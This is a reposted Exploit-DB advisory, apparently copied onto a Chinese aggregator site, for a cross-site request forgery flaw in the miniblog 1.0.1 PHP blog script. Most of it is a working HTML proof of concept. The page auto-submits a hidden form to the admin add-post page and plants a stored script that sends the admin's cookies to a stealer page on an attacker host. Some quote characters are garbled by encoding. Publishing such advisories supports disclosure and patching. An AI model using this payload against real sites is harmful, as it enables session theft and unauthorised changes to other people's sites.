miniblog 1.0.1 – Cross-Site Request Forgery (Add New Post) - 体验盒子

作者： Besim

日期： 2016-10-09

类别：

webapps

平台：

php

来源：https://www.exploit-db.com/exploits/40480/

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

# Exploit Title :miniblog 1.0.1 - Cross-Site Request Forgery (Add New Post)

# Author : Besim

# Google Dork :

# Date : 09/10/2016

# Type : webapps

# Platform : PHP

# Vendor Homepage :http://www.spyka.net/scripts/php/miniblog

# Software link :

http://dl.spyka.co.uk/scripts/php/miniblog-1-0-1.zip

Description (admin login required) :

miniblog 1.0.1 versions is vulnerable to CSRF attack, adding, delete and

edit article in the sections

Vulnerable page : http://localhost:8081/miniblog/*adm/admin.php?mode=add

Dangerous point : if used with XSS can be steal on the admin's cookie information.

*############### CSRF PoC ###############*

<html>  <body> <form action="

http://localhost:8081/miniblog/adm/admin.php?mode=add&id=%3Cbr%20/%3E%3Cb%3ENotice%3C/b%3E:%20%20Undefined%20variable:%20post%20in%20%3Cb%3EC:\xampp\htdocs\miniblog\adm\edit.php%3C/b%3E%20on%20line%20%3Cb%3E8%3C/b%3E%3Cbr%20/%3E"

method="POST"> <input type="hidden" name="data[post_title]"

value="<script>location.href = âhttp://www.attackersite.com/stealer.php?cookie=â+document.cookie;</script>"

/> <input type="hidden" name="data[post_content]"

value="tester" /> <input type="hidden" name="data[published]"

value="1" /> <input type="hidden" name="miniblog_PostBack" value="Add"

/> <input type="submit" value="Submit request" /> </form> <script>

document.forms[0].submit(); </script> </body> </html>

########################################